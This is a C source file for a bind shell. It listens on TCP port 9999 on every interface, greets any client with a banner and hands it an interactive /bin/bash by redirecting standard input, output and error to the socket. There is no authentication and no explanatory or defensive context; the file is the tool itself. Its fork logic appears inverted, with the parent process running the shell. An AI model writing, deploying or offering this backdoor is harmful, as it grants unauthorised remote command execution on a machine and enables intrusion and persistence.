bindshell.c

#include <stdio.h>
#include <stdlib.h>
#include <string.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netinet/in.h>

#define SERVER_PORT 9999

int main() {
	int serverfd, clientfd, server_pid;
	char *banner = "[~] Welcome to @d's Bind Shell\n";
	struct sockaddr_in server, client;
	char *args[] = { "/bin/bash", "-i", 0 };
	socklen_t len;

	server.sin_family = AF_INET;
	server.sin_port = htons(SERVER_PORT);
	server.sin_addr.s_addr = INADDR_ANY;

	serverfd = socket(AF_INET, SOCK_STREAM, 0);
	bind(serverfd, (struct sockaddr *)&server, sizeof(server));
	listen(serverfd, 0);

    while (1) {
    	len = sizeof(struct sockaddr);
    	clientfd = accept(serverfd, (struct sockaddr *)&client, &len);
        server_pid = fork();
        if (server_pid) {
        	write(clientfd , banner , strlen(banner));
	        for(int i = 0; i < 3 ; i ++) dup2(clientfd, i);
	        execve(args[0], args, 0);
	        close(clientfd);
    	} close(clientfd);
    } return 0;
}